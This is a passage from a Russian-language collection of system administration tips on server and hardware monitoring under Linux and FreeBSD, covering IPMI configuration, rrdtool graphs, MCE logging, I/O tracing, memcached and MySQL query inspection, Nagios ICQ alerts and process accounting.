          /etc/init.d/opennms start
    
    9. Запускаем браузер и вводим адрес http://your_servername:8980/opennms/.
    Login/Password  для входа admin.
    
     
    ----* Пример конфигурирования IPMI на Linux сервере (доп. ссылка 1)   Автор: Roman Sozinov  [комментарии]
     
    IPMI - интеллектуальный интерфейс управления платформой, помогающий следить (и
    не только) за сенсорами
    состояния железа на сервере (температуры, напряжения, скоростью вращения вентиляторов, 
    состоянием источников питания и т.п.).
    Задача - сконфигурировать IPMI-интерфейс на сервере, с возможностью получать
    данные о сенсорах по сети.
    Операционная система RHEL/CentOS 5, сервер Intel S5000PAL.
    
    Для начала нужно установить пакеты с модулями и необходимыми утилитами:
    
       yum install OpenIPMI-tools OpenIPMI
       chkconfig ipmi on && service ipmi start
    
    Прежде чем приступать к конфигурированию, необходимо решить, на каком физическом сетевом адаптере 
    сервер будет отвечать на IPMI-запросы. 
    На языке IPMI, сетевой адаптер - это канал. Первый канал соответствует первому сетевому 
    интерфейсу, но их mac-адреса отличаются, поэтому можно смело выбирать незанятую
    ip-сеть для IPMI-мониторинга
    и назначать выбранному каналу (сетевой плате) ip-адрес для использования IPMI.
    
    Для примера я выбрал первый канал (первую сетевую плату).
    
       ipmitool shell
       ipmitool> lan set 1 ipaddr 10.10.16.115
    
       Setting LAN IP Address to 10.10.16.115
    
       ipmitool> lan set 1 defgw ipaddr 10.10.16.254
    
       Setting LAN Default Gateway IP to 10.10.16.254
       
    Открываем возможность использования IPMI по сети, а также говорим, что будем использовать 
    MD5-хэширование при аутентификации:
    
       ipmitool> lan set 1 access on
       ipmitool> lan set 1 auth ADMIN MD5
    
    Создаем пользователя, включаем его и назначаем ему права администратора:
    
       ipmitool> user set name 2 monuser
       ipmitool> user set password 2 monpassword
       ipmitool> user enable 2
       ipmitool> channel setaccess 1 2 ipmi=on privilege=4
       ipmitool> user list 1
    
       ID  Name             Enabled Callin  Link Auth  IPMI Msg   Channel Priv Limit
       2   monuser           true    true    false      true       ADMINISTRATOR
    
       ipmitool>
    
    Вот так выглядит первый канал, после всех приготовлений:
    
       ipmitool> lan print 1
    
       Set in Progress         : Set Complete
       Auth Type Support       : NONE MD5 PASSWORD
       Auth Type Enable        : Callback :
                            : User     :
                            : Operator :
                            : Admin    : MD5
                            : OEM      :
       IP Address Source       : BIOS Assigned Address
       IP Address              : 10.10.16.115
       Subnet Mask             : 255.255.255.0
       MAC Address             : 00:04:23:dc:12:d2
       SNMP Community String   :
       IP Header               : TTL=0x40 Flags=0x40 Precedence=0x00 TOS=0x10
       BMC ARP Control         : ARP Responses Enabled, Gratuitous ARP Enabled
       Gratituous ARP Intrvl   : 2.0 seconds
       Default Gateway IP      : 10.10.16.254
       Default Gateway MAC     : 00:00:00:00:00:00
       Backup Gateway IP       : 0.0.0.0
       Backup Gateway MAC      : 00:00:00:00:00:00
       RMCP+ Cipher Suites     : 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14
       Cipher Suite Priv Max   : XXXXXXXXXXXXXXX
                            :     X=Cipher Suite Unused
                            :     c=CALLBACK
                            :     u=USER
                            :     o=OPERATOR
                            :     a=ADMIN
                            :     O=OEM
       ipmitool>
    
    Теперь с сервера мониторинга можно обращаться к IPMI-интерфейсу и забирать
    информацию об интересующих сенсорах:
    
       ipmitool -I lan -A MD5 -U monuser -P monpassword -H 10.10.16.115 power status
       Chassis Power is on
    
       ipmitool -I lan -A MD5 -U monuser -P monpassword -H 10.10.16.115 sensor
    
       BB +1.2V Vtt | 1.197 | Volts | ok | na | 1.096 | 1.134 | 1.285 | 1.323 | na 
    
    И это только сбор информации, а можно и питанием удалённо управлять,
     в обход операционной системы, так что будьте аккуратны :)
    
    Ссылки:
    
    1. An introduction to IPMI (http://www.mascanc.net/%7Emax/ipmi/ipmi.html)
    2. Configuring and Securing IPMI on Dell PowerEdge x8xx Hardware
    (http://lonesysadmin.net/2005/09/23/configuring-and-securing-ipmi-on-dell-poweredge-x8xx-hardware/)
    3. ipmitool manpage
    (http://ipmitool.sourceforge.net/manpage.html)
    
     
    ----* Мониторинг работы http-сервера Lighttpd при помощи mod_rrdtool (доп. ссылка 1)   [обсудить]
     
    Для оценки нагрузки и отладки работы http-сервера Lighttpd можно использовать
    входящий в комплект модуль mod_rrdtool.
    
    Устанавливаем в системе пакет rrdtool:
    
    CentOS / RHEL / Fedora
       yum install rrdtool
    
    Debian / Ubuntu:
       apt-get update && apt-get install rrdtool
    
    FreeBSD:
       cd /usr/ports/databases/rrdtool && make && make install
    
    Активируем в Lighttpd запись статистических данных в RRD-базу. 
    В /etc/lighttpd/lighttpd.conf добавляем (для FreeBSD нужно поправить путь на /usr/local):
    
       server.modules              += ( "mod_rrdtool"  )
       ### RRDTOOL Config
       # path to the rrdtool binary
       rrdtool.binary = "/usr/bin/rrdtool"
       # rrd database file
       rrdtool.db-name = "/home/lighttpd/rrd"
    
    Рестартуем http-сервер (service lighttpd reload).
    Для построения аналитических графиков устанавливаем скрипт lightygraph.cgi:
    
       cd /home/lighttpd/cgi-bin/
       wget http://redmine.lighttpd.net/attachments/download/793
       chmod +x lightygraph.cgi
    
    Открываем в браузере страницу
    http://ваш_домен/cgi-bin/lightygraph.cgi и смотрим графики с информацией о
    трафике и числе запросов.
    
     
    ----* Мониторинг аппаратных проблем в x86_64 сборке Linux (доп. ссылка 1)   [комментарии]
     
    Для мониторинга аппаратных проблем в 64-разрядных сборках Linux удобно использовать пакет mcelog,
    анализирующий MCE (Machine Check Exception) состояние в CPU AMD и Intel, которое может указать на 
    проблемы с памятью и с кэшем CPU, ошибки обмена данными между CPU и чипсетом материнской платы.
    
    В RHEL / CentOS / Fedora Linux ставим нужный пакет (работает только с 64-разрядной сборкой ядра):
    
       # yum install mcelog
    
    В Debian / Ubuntu :
    
       # apt-get install mcelog
    
    
    Прописываем запуск mcelog в crontab для пользователя root:
    
       */5 * * * *   /usr/sbin/mcelog --ignorenodev --filter >> /var/log/mcelog
    
    Проверяем лог:
    
       # tail -f /var/log/mcelog
       # grep -i "hardware error" /var/log/mcelog
       # grep -c "hardware error" /var/log/mcelog
    
    Для автоматической отправки предупреждения в случае проблем в вызов из crontab нужно добавить:
    
        [ $(grep -c "hardware error" /var/log/mcelog) -gt 0 ] && echo    "Hardware Error Found $(hostname) @ $(date)" \ 
        | mail -s 'H/w Error' pager@example.com
    
     
    ----* Просмотр байтовых счетчиков трафика на интерфейсе во FreeBSD и Linux   [комментарии]
     
    По умолчанию "netstat -i" во FreeBSD показывает только число пакетов, чтобы
    посмотреть размер в байтах
    нужно использовать опцию "-b", упоминание которой удалось найти после трех прочтений man страницы.
    
       netstat -inb
    
    Для наглядного просмотра, можно использовать опцию "-h", которая сокращает
    байтовый вывод до Кб, Мб или Гб.
    
       netstat -inbh
    
    Интенсивность передачи трафика удобно просматривать через:
    
       systat -ifstat
    или
       netstat -iw1
    
    Для просмотра интенсивности передачи трафика в Linux удобно использовать команду ifstat
    
    В Linux байтовые счетчики интерфейсов можно просмотреть через:
       cat /proc/net/dev
    
    Другую полезную статистику по работе сетевой подсистемы можно найти в файлах
    /proc/net/ip_conntrack, /proc/net/stat/rt_cache, и  /proc/net/stat/arp_cache.
    
     
    ----* Трассировка ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Утилита blktrace (присутствует в репозиториях Ubuntu и Debian) позволяет 
    проконтролировать какие именно данные передаются для заданного блочного устройства.
    
    Например, посмотреть общую статистику и детали обмена данными с /dev/sda можно выполнив команду:
    
       blktrace -d /dev/sda -o - | blkparse -i - 
    
    где, blkparse фильтр для наглядного представления результатов.
    
    В случае вывода ошибки про отсутствие /sys/kernel/debug, убедитесь, что смонтирована debugfs:
    
       mount -t debugfs debugfs /sys/kernel/debug
    
    В качестве альтернативы можно предложить задействование механизма /proc/sys/vm/block_dump, 
    при записи 1 в этот файл начнется сбор данных, при записи 0 - результаты будут
    выведены в буфер dmesg.
    Скрипт для упрощения разбора данных можно загрузить здесь:
     http://www.digitalprognosis.com/opensource/scripts/top-disk-users
    
    
    Мониторинг ввода/вывода не на уровне планировщика, а на уровне конечных процессов удобно проводить 
    при помощи утилиты iotop (http://guichaz.free.fr/iotop/)
    
     
    ----* Временное ведение лога всех запросов к MySQL (доп. ссылка 1)   [комментарии]
     
    Использование опций конфигурации log-slow-queries и general_log, позволяющих вести полный лог 
    медленных или всех запросов, требует перезапуска mysql для включения или выключения ведения логов, 
    что неудобно в ситуации, когда нужно проанализировать запросы только в текущий момент.
    Для анализа запросов (не через локальный сокет) на лету можно воспользоваться сетевым сниффером.
    
    Перехватываем и записываем срез трафика MySQL в файл:
    
       tcpdump -i eth0 port 3306 -s 1500 -w tcpdump.out
    
    Выделяем из дампа SQL запросы, используя утилиту tshark из комплекта сниффера
    Wireshark (http://www.wireshark.org/):
    
       tshark -r tcpdump.out -d tcp.port==3306,mysql -T fields -e mysql.query > query_log.out
    
    Удаляем из полученного лога пустые и неинформативные строки:
    
       cat query_log.out | grep -vE "^(commit.*|autocommit.*|rollback.*|)$" | awk '{print $0 ";"}' > query_log_no_blank.out
    
    Полученный лог удобно анализировать утилитой mysqlsla (http://hackmysql.com/mysqlsla)
    
     
    ----* Быстрый способ посмотреть статус работы memcached (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Просмотр статуса:
    
       echo stats | nc 127.0.0.1 11211
       echo stats items | nc 127.0.0.1 11211
       echo stats sizes | nc 127.0.0.1 11211
       echo stats slabs | nc 127.0.0.1 11211
    
       telnet 127.0.0.1 11211
          stats
          quit
    
    Слежение за динамикой в стиле утилиты top:
    
       watch "echo stats | nc 127.0.0.1 11211"
    
    Для тех у кого нет nc, но есть php:
    
       watch 'php -r '"'"'$m=new Memcache;$m->connect("127.0.0.1", 11211);print_r($m->getstats());'"'"
    
     
    ----* Настройка оповещения Nagios по ICQ (доп. ссылка 1)   Автор: Doktor  [комментарии]
     
    Простое решение для нотификации работы серверов при помощи ICQ:
    
    1) Ставим vicq клиент. Регистрируем для него UIN. Из примера конфигурационного файла 
    создаем работающий конфиг. Обязательные параметры uin и password.
    
    2) Настраиваем nagios для отсылки сообщений о проблемах:
    
    а) Задаем для своего контакта параметр pager равный номеру вашего ICQ.
    
    б) Задаем 2-е дополнительне комманды в commands.cfg
    
     # ICQ Notification
     define command{
      command_name notify-host-by-icq
      command_line /usr/bin/printf "%b" "msg $CONTACTPAGER$\n***** Nagios  <li>**\n\nNotification Type: $NOTIFICATIONTYPE$\nHost:
       $HOSTNAME$\nState: $HOSTSTATE$\nAddress: $HOSTADDRESS$\nInfo:
       $HOSTOUTPUT$\n\nDate/Time: $LONGDATETIME$\n.\n" | 
       /usr/local/bin/vicq -c /usr/local/etc/vicq.conf -b -o -t 5
     }
    
     define command {
      command_name notify-service-by-icq
      command_line /usr/bin/printf "msg $CONTACTPAGER$\n***** Nagios<li>**\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService:
        $SERVICEDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState:
        $SERVICESTATE$\n\nDate/Time: $LONGDATETIME$\n\nAdditional Info:\n\n$SERVICEOUTPUT$\n.\n" | 
       /usr/local/bin/vicq -c /usr/local/etc/vicq.conf -b -o -t 5
     }
    
    в) В шаблоне описывающем generic-contact задаем следующие параметры:
    
       service_notification_commands notify-service-by-email,notify-service-by-icq
       host_notification_commands notify-host-by-email,notify-host-by-icq
    
    После всех манипуляций - перезагружаем Nagios и "роняем" какой-нибудь сервис. Все должно работать.
    
    Сообщения будут приходить такими:
    <li>** Nagios *****
    
       Notification Type: PROBLEM
    
       Service: AMAVIS
        Host: localhost
        Address: 127.0.0.1
        State: CRITICAL
    
       Date/Time: Sun Nov 2 01:22:37 MSK 2008
    
       Additional Info:
    
       Connection refused
    
    Кстати, с vicq есть 1 баг при запуске его нагиосом. Так как клиент использует Term::Readline, 
    то возникает ошибка при запуске:
    
       Cannot open /dev/tty for read at ...
    
    Решается проблема просто, надо подредактировать файл vicq. Перед 1063 строкой
    вставить следующий кусок кода:
    
     open (FH, "/dev/tty" )
     or eval 'sub Term::ReadLine::findConsole { ("&STDIN", "&STDERR") }';
     die $@ if $@;
     close (FH);
    
    Все будет работать без проблем.
    
     
    ----* Просмотр в Linux списка совместно используемых библиотек, загруженных в память   [комментарии]
     
    Утилита memstat сканирует содержимое /proc и генерирует список запущенных программ, используемых 
    разделяемых библиотек и прочих объектов находящихся в памяти (например, шрифты,
    области разделяемой памяти, файлы локали),
    отображает занимаемую ими память, позволяет оценить степень
    совместного использования библиотек.
    
    Программа в Debian и Ubuntu находится в пакете memstat. 
    При запуске, чтобы вывод не обрезался по границе экрана, нужно использовать опцию '-w'.
    
    Вывод с группировкой по библиотекам:
       memstat -w|grep PID|sort -k 4|less
    
    Вывод с сортировкой по размеру:
       memstat -w|sort -r -n -k 1|less
    
    Вывод с сортировкой по числу использующих объект процессов:
    
       memstat -w|grep -v PID| perl -ne '$a=$_;s/\d+/|/g;s/[^|]//g; print length($_)-1 . " $a";' \
       |awk '{print $1 "\t" $2 "\t" $3}'|sort -n -r -k 1|less
    
     
    ----* Слежение за изменением файлов и директорий в Linux shell   [комментарии]
     
    Пакет inotify-tools содержит две полезные утилиты:
    
    inotifywait - ожидать наступления определенного события в файле или дирекотории. 
    
    inotifywatch - слежение за статистикой изменений и вывод суммарных данных.
    
    Утилиту inotifywait  удобно использовать в скриптах, например, когда нужно дождаться 
    завершения внешней операции с файлом и мгновенно среагировать на изменения.
    
    Напрмер, запустим:
       inotifywait /tmp
    
    При попытке создать файл в /tmp утилита завершит работу, выдав:
    
       /tmp/ CREATE,ISDIR v31549
    
    При попытке создать директорию:
    
       /tmp/ CREATE,ISDIR 0
    
    Если необходимо следить за изменением во всех директориях в пределах /tmp, 
    следует использовать флаг рекурсивного контроля "-r". 
    Для больших директорий может понадобиться расширить лимит /proc/sys/fs/inotify/max_user_watches.
    Используя опцию "--fromfile" можно загрузить список контролируемых файлов и директорий из файла.
    Опция "-e" позволяет реагировать только на определенный тип события, например,
    на удаление файла, игнорируя создание и открытие.
    Опция '-m' отменяет мгновенный выход после наступления события, что позволяет организовать 
    визуальное наблюдение или обработку в цикле.
    
    Пример, скрипта для обработки изменения файла:
    
       #!/bin/sh
       inotifywait -e delete -m /tmp/lock/ | while read dir events file; do
          echo "Removed $dir$file"
       done
    
    
    При выполнении:
    
       inotifywatch /tmp
    
    и последующем завершении выполнения через задание таймаута или нажатия ctrl+c, 
    будет выведена суммарная информация по каждому из классов событий, напрмер:
    
       total  modify  close_write  close_nowrite  open  create  delete  filename
       22     3       4            1              5     4       5       /tmp/
    
    Или
    
       inotifywatch -v -e access -e modify -t 60 -r /var/log
    
    через 60 секунд выдаст:
    
       14     14      /var/log/
       2      2       /var/log/apache2
       4      4       /var/log/postgresql
    
    Что касается кроссплатформенного решения, которое работает, не только в Linux, но и во FreeBSD, 
    можно привести пример слежения за изменением файла используя Perl модуль EV (http://search.cpan.org/dist/EV/),
    использующий универсальную библиотеку-враппер libev:
    
       #!/usr/bin/perl
    
       use strict;
       use EV;
    
       # Следим за изменениями в директории /tmp/watch
       # 0 - интервал опроса по умолчанию
       my $w = EV::stat "/tmp/watch", 0,
       sub {
                my ($w, $revents) = @_;
                warn $w->path, " has changed somehow.".$w->attr."\n";
                $w->stop;
                # На время обработки события, прекращаем прием нотификаций. 
                .....
                $w->start;
       };
    
       EV::loop;
    
     
    ----* Пример мониторинга свободного места на диске.   Автор: Hamelion  [комментарии]
     
    Наверное, все встречались, когда на том или ином разделе жесткого диска места уже нет. А
     иногда и просто забываешь проконтролировать место на диске. 
    Данный скрипт написан по принципу настроил и забыл.
    
    #!/bin/sh
    address="root@localhost";
    cicl="2 3 4 5 6";
    # выставляем в процентах порог заполненного места для каждого раздела, 
    # при котором отсылается сообщение
    predel[2]=80;	# /
    predel[3]=80;	# /usr
    predel[4]=60;	# /var
    predel[5]=80;	# /tmp
    predel[6]=80;	# /home
    varning="0";
    
    count=0;
    df -h > /tmp/tmp_df;
    while read -r FS S Ud A U MO; do
    	let count+=1;
    	FileSystem[$count]=$FS; 
    	Size[$count]=$S;
    	Used[$count]=$Ud;
    	Avail[$count]=$A;
    	Use[$count]=$U;
    	MountedOn[$count]=$MO;
    	NUse[$count]=${Use[$count]%"%"};
    done < /tmp/tmp_df;
    table="";
    for c in $cicl; do
    	if [[ ${NUse[$c]} -ge ${predel[c]} ]]; then
    		varning="1";
      table=$table"\n${FileSystem[$c]} \t${Size[$c]} \t${Used[$c]} \t${Avail[$c]}
    \t${Use[$c]} \t${MountedOn[$c]}";
    	fi
    done
    		shapka="\nFileSystem \tSize \tUsed \tAvail \tUse \tMounted On";
    		body="Regard admin, please check, place on disk:"$shapka$table;
    		#echo -e $body;
    if [ $varning -eq "1" ]; 
        then 
    	echo -e $body | mail -s"Warning on server" $address;
    	logger -i -p cron.warn -t dfmonitor "Send warning to $address";
        else
    	logger -i -p cron.info -t dfmonitor " Place on disk in rate";
    fi
    
    
    P.S. записать в cron строчку: 
    
       20 5 * * * /sbin/dfmonitor, 
    
    с утра приходим и получаем отчет :-)
    
     
    ----* Русские символы в rrdtool   Автор: Vladimir  [комментарии]
     
    При отображении строк в RRD используется кодировка UTF-16, в которой есть
    таблица русских символов,
    соответствующая таблице CP1251, только со смещением.
    Чтобы rrdgraph смог отображать русские символы на графиках 
    необходимо внести изменения в файл src/rrd_afm.h. Находим в нем строчку
    
       #define afm_fix_osx_charset(x) (x)
    
    и заменяем на
    
       #define afm_fix_osx_charset(x) \
         ( (x) >= 128 && (x) <= 255 ? (x) + 0x0350 : (x))
    
    Таким образом, если в строке встречается символ с кодом между 127 и 256, то к
    нему применяется смещение 0x0350.
    Строки необходимо записывать в CP1251 (я использую vim с libiconv).
    
    Для работы с KOI8 необходима еще таблица перестановок из KOI8 в CP1251
    
    Для этого в файл src/rrd_afm.c добавляем описание таблицы
    const unsigned char afm_koi2win[128] = {128,129,130,131,132,133,134,135,136,
    137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,
    156,157,158,159,160,161,162,184,164,165,166,167,168,169,170,171,172,173,174,
    175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,254,224,
    225,246,228,229,244,227,245,232,233,234,235,236,237,238,239,255,240,241,242,
    243,230,226,252,251,231,248,253,249,247,250,222,192,193,214,196,197,212,195,
    213,200,201,202,203,204,205,206,207,223,208,209,210,211,198,194,220,219,199,
    216,221,217,215,218};
    
    а в src/rrd_afm.h такие строки
    
       extern const unsigned char afm_koi2win[128];
       #define afm_fix_osx_charset(c) \
         ( (c) >= 128 && (c) <= 255 ? afm_koi2win[(c) - 128] + 0x0350 : (c))
    
     
    ----* Сетевая консоль для отладки зависаний Linux (доп. ссылка 1)   Автор: niol, debian-administration.org  [комментарии]
     
    Модуль Linux ядра netconsole позволяет экспортировать консоль на другую машину по сети,
    что полезно для отладки ситуации зависания Linux без вывода диагностики в лог и
    на экран (например, X-ы зависли).
    
    В /etc/modprobe.d/ создаем файл или добавляем в /etc/modules.conf:
    
       options netconsole netconsole=32769@192.168.1.1/eth1,32769@192.168.1.6/01:23:34:56:78:9A
    
    где, 
       192.168.1.1:32769  сетевой адрес и порт на eth1 интерфейсе локальной машины, с которого будет производится отправка пакетов.
       192.168.1.6:32769 сетевой адрес, порт и MAC адрес удаленной машины куда будет экспортирована консоль.
    
    На удаленной машине 192.168.1.6, для доступа к консоли используем netcat:
    
       nc -l -p 32769 -u
    
    Подгружаем модуль netconsole:
       modprobe netconsole
    
     
    ----* Реализация команды top на Shell   Автор: rstone  [комментарии]
     
    Должно работать на любом терминале поддерживающем VT Escape 
    последовательности, проверено в Linux, True64 ,  HP-UX  и Соларисе .
    
    #!/bin/ksh
    SLEEP=$1
    FIELD=$2
    [ -z "$1" ] && SLEEP=10 
    [ -z "$2" ] && FIELD=1
    stty_save=`stty -g`
    trap "stty $stty_save ; exit; " 2 
    stty sane
    clear
    lines=`tput lines`
    lines=$((lines-5))
    DATE=`date '+%H:%M:%S'`
    echo "\t\t`tput rev``hostname` TOP $lines PROCESESS at $DATE every $SLEEP seconds`tput sgr0`"
    tput bold
    case `uname` in
            Linux)  PS_COMMAND="ps -e -o pcpu= -o cputime= -o user= -o uid= -o pid= -o pmem= -o rssize= -o comm="
                    HEADER_COMMAND="ps f  -p $$ -o pcpu,cputime,user,uid,pid,pmem,rssize,command"
                    ;;
            HP-UX)  UNIX95=1
                    export UNIX95
                    PS_COMMAND="ps -e -o pcpu= -o time= -o user= -o uid= -o pid= -o vsz= -o sz= -o comm="
                    HEADER_COMMAND="ps -p $$ -o pcpu,time,user,uid,pid,vsz,sz,comm"
                    ;;
            SunOS)  HEADER_COMMAND="ps -f -p $$ -o pcpu,time,user,uid,pid,pmem,rss,comm"
                    PS_COMMAND="ps -e -o pcpu= -o time= -o user= -o uid= -o pid= -o pmem= -o rss= -o comm="
                    ;;
    
            *)      PS_COMMAND="ps -ef -o pcpu=,cputime=,user=,uid=,pid=,pmem=,rssize=,comm="
                    HEADER_COMMAND="ps -f -p $$ -o pcpu,cputime,user,uid,pid,pmem,rssize,command"
                    ;;
    esac
    $HEADER_COMMAND | head -1
    tput sgr0
    while [ true ] ; do 
            tput cup 2 0
            tput ed
            $PS_COMMAND | sort -r -n -k"$FIELD"  | head -$lines 
            sleep $SLEEP
    done
    
     
    ----* Привязка процесса к определенному CPU в SMP системе под Linux (доп. ссылка 1)   Автор: nixcraft  [комментарии]
     
    Пример использования жесткой привязки процесса к определенному процессору  (CPU affinity).
    
    Устанавливаем пакет schedutils
    (Debian: apt-get install schedutils, Red Hat: up2date schedutils или rpm -ivh schedutils*)
    
    Привязка процесса с pid 13545 к первому CPU (#0):
       taskset -c 1 -p 13545
    к 3 и 4 CPU (#2 и #3):
       taskset -c 3,4 -p 13545
    
    Загрузку процессоров в SMP системе удобно оценивать через утилиту mpstat из пакета sysstat.
        mpstat -P ALL
    
    Утилизацию подсистемы ввода/вывода можно посмотреть через команду iostat
    
     
    ----* Как более детально посмотреть сколько программа потребляет памяти   [комментарии]
     
    Linux:
       pmap <pid_процесса>
       cat /proc/<pid>/maps
       cat /proc/<pid>/status
    
    FreeBSD:
       cat /proc/<pid>/map
       cat /proc/<pid>/status
    
     
    ----* Как получить данные с роутера по SNMP, зная его IP и communitystring   Автор: cyrex  [комментарии]
     
    % snmpwalk -c communitystring -v 1 10.0.0.254
    Ключ -c указывает строку community (обычно public)
    -v задаёт версию протокола (1)
    
    Если хотите просмотреть только часть дерева то можно задать вот так:
    % snmpwalk -c community -v 1 -m iso.3.6.1.2.1.6.13.1.2 10.0.0.254
    
     
    ----* Построение графиков из rrdtool. Подсчёт суммарного трафика   Автор: cyrex  [комментарии]
     
    Пусть имеется созданная rrd база в файле /path/to/file.rrd (man rrdcreate),
    в которой содержатся 2 столбца данных ifinoctets и ifoutoctets 
    (число входящих и исходящих пакетов на интерфейсе за минуту). Как обновлять man rrdupdate.
    Задача: требуется отобразить это графически с подписью данных, а так же суммарным трафиком
    и средней загрузкой канала.
    Создаётся график следующим образом:
    
    #!/bin/sh
    /usr/local/bin/rrdtool graph /tmp/picture.png  --end now --start -1d \
        --width 500 --height 600 --imgformat PNG \
        --title "title"  --rigid  --color BACK#FAFAFA  \
        DEF:ifino=/path/to/file.rrd:ifinoctets:AVERAGE   \
        DEF:ifouto=/path/to/file.rrd:ifoutoctets:AVERAGE   \
        CDEF:ifino1=ifino,60,/                      \
        CDEF:ifouto1=ifouto,60,/                    \
        VDEF:sumin=ifino1,TOTAL                     \
        VDEF:sumout=ifouto1,TOTAL                   \
        VDEF:maxin=ifino1,MAXIMUM                   \
        VDEF:maxout=ifouto1,MAXIMUM                 \
        VDEF:avgin=ifino1,AVERAGE                   \
        VDEF:avgout=ifouto1,AVERAGE                 \
        AREA:ifino1#00FF00:"In"           \
        GPRINT:maxin:"Max=%lf%s"          \
        GPRINT:avgin:"Avg=%lf%s"          \
        GPRINT:sumin:"Sum=%lf%sl"         \
        LINE1:ifouto1#0000FF:"Out"        \
        GPRINT:maxout:"Max=%lf%s"         \
        GPRINT:avgout:"Avg=%lf%s"         \
        GPRINT:sumout:"Sum=%lf%s\l"              
    
    Результатом работы данного скрипта будет создание графика входящих и сходящих пакетов
    на интерейсе(в байт/сек), а так же будут отражены на графике средняя загрузка,
    пиковые значения и суммарный трафик  через интрефейс.
    подробнее об параметрах в man rrdgraph,man rrdgraph_rpn,man rrdgraph_graph
    
     
    ----* Диагностика состояния сервера при помощи IPMI и пакета freeipmi (доп. ссылка 1)   [обсудить]
     
    Общая информация о BMC и поддержке IPMI:
       # bmc-info
    
    Состояние сенсоров (температура, вольтаж, проблемы):
       # sensors
    
    Более детально:
       # sensors -vv
    
    Состояние лога событий (почему сервер начал пищать):
       # sel
    
    Чистка лога событий (чтобы не пищал):
       # sel -c
    
    Вместо freeipmi можно использовать ipmitools.
    
    Вывод поддерживаемых сервером возможностей IPMI:
    
       ipmitool -v chassis status
    
    Информация с сенсоров:
    
       ipmitool sensor
    
    Статус сенсоров:
    
       ipmitool sdr list all
    
    Вывод FRU:
    
       ipmitool fru
    
     
    ----* Как не разбирая корпус посмотреть модель материнской платы (доп. ссылка 1)   Автор: Anton V. Yuzhaninov  [комментарии]
     
    1. Просмотреть содержимое BIOS (проверял под Linux и FreeBSD)
        dd if=/dev/mem bs=64k skip=15 count=1 | strings | less
    в первых строчках обычно упоминается название материнской платы.
    
    2. Воспользоваться утилитой dmidecode
    
     
    ----* Просмотр информации оборудовании через /proc в Linux (доп. ссылка 1)   [комментарии]
     
      cat /proc/cpuinfo
      cat /proc/meminfo
      cat /proc/ide/via
      cat /proc/ide/ide0/hda/geometry
      cat /proc/ide/drivers
      cat /proc/sys/dev/cdrom/info
      cat /proc/scsi/scsi
    
     
    ----* Как посмотреть параметры видеокарты (доп. ссылка 1)   [комментарии]
     
    xdpyinfo
    glxinfo
    xvinfo 
    
     
    ----* Как оценить величину трафика и состояние системы в динамике для FreeBSD   [комментарии]
     
    Динамика изменения параметров:
    
       netstat -w 1
       iostat -w 1
       vmstat -w 1
       gstat
    
    Состояние буферов:
    
       vmstat -z
       netstat -m
       netstat -Lan
       netstat -s -p tcp
    
     
    ----* Какую расширенную информацию о процессе можно получить.   [комментарии]
     
    Определяем родителя: 
        ps -lp <pid>  (в Linux есть утилита ptree)
    Определяем какие файлы открыты:
        fstat -p <pid> (freebsd)
        lsof -p <pid>
    Определяем какие сетевые сокеты сопоставлены с процессом:
        sockstat| grep <pid> (freebsd)
        netstat -pan| grep <pid> (linux)
        lsof -i -n|grep <pid>
         
    
     
    ----* Как отследить запущенные пользователями программы (доп. ссылка 1)   Автор: uldus  [обсудить]
     
    Включение контроля выполняемых процессов в FreeBSD:
       rc.conf
          accounting_enable="YES"
    
       periodic.conf
          daily_accounting_enable="YES"  # Rotate acct files
          daily_accounting_compress="NO"  # Gzip rotated files
          daily_accounting_flags=-q  # Flags to /usr/sbin/sa
          daily_accounting_save=3   # How many files to save
          monthly_accounting_enable="YES"  # Login accounting
    
    В Linux (пакет acct или psacct): 
       service acct start
    или руками
      /sbin/accton /var/log/pacct
    
    Просмотр статистики через команды sa, lastcomm, last-acct, dump-acct, ac (ac
    -p, sa -u, sa -m, sa -f). Например:
    
       Загрузка системы пользователями
          ac -p|awk '{print $2 "\t" $1}'|sort -r -n
          /usr/sbin/sa -m| perl -n -e 's/[\t ]+/\t/g;print $_;'
    
       Топ загрузки системы скриптами пользователей
          /usr/sbin/sa -u|awk '{print $8 "\t\t(" $1 ")"}'|sort| uniq -c|sort -n -r
    
       Загрузка системы всеми программами
          /usr/sbin/sa -f
    
     
    ----* Как посмотреть список установленных локов в системе.   [обсудить]
     
    Используйте утилиту lslk
    
     
    ----* Что обозначают буквы в поле STAT при запуске ps -aux или top ?   [комментарии]
     
    R - Процесс выполняется в данный момент
    S - Процесс ожидает выполнение (спит)
    D - Процесс в полной (непрерываемой) спячке, например, ожидает ввода/вывода
    Z - zombie или defunct процесс, т.е. процесс у которого нет родителя.
    T - Процесс остановлен.
    W - процесс в свопе
    < - процесс в приоритетном режиме.
    N - процесс в режиме низкого приоритета
    L - real-time процесс, имеются страницы заблокированные в памяти.
    
     
    ----* Как в FreeBSD посмотреть состояние системных буферов   [обсудить]
     
    sysctl vm.zone
    
     
    ----* Как в FreeBSD узнать значения LoadAverage, объем свободного ОЗУ и т.д.   [комментарии]
     
    sysctl vm.stats.vm.v_active_count
    sysctl vm.stats.vm.v_inactive_count
    sysctl vm.stats.vm.v_wire_count
    sysctl vm.stats.vm.v_cache_count
    sysctl vm.stats.vm.v_free_count
    sysctl vm.stats.vm.v_page_count
    более подробно: 
    	sysctl -a|grep vm
    	sysctl| less
    
     
    ----* Как узнать аппаратную конфигурацию (ОЗУ, CPU и т.д.) машины под FreeBSD   [комментарии]
     
    sysctl -a | grep hw
    
     
    ----* Как в FreeBSD более подробно ознакомится с поддержкой аппаратного устройства   [обсудить]
     
    man 4 имя_устройства.
    примеры: man 4 fxp; man 4 rl; man 4 ed; man 4 amr; man 4 pcm; man 4 cd; man 4 tty; man 4 sio;
    
     
    ----* Команды для аккаутинга   [обсудить]
     
    Сколько CPU времени использовал каждый юзер в системе
    	ac -p
    Какие команды запускал каждый пользователь и сколько CPU и памяти 
    было использовано при их выполнении:
    	sa -u
    
     
    ----* Как получить список всех PCI и USB устройств на машине   [комментарии]
     
    lspci
    lspci -vvv
    lsusb
    lsusb -vvv
    scanpci
    lshw
    lspcidrake
    
     
    ----* Замечание по утилите lsof   [обсудить]
     
    Ключи:
    -U - unix socket
    -i inet формат:
    	tcp_или_udp@host:port, например: tcp:25, @192.168.1.1
    Примеры:
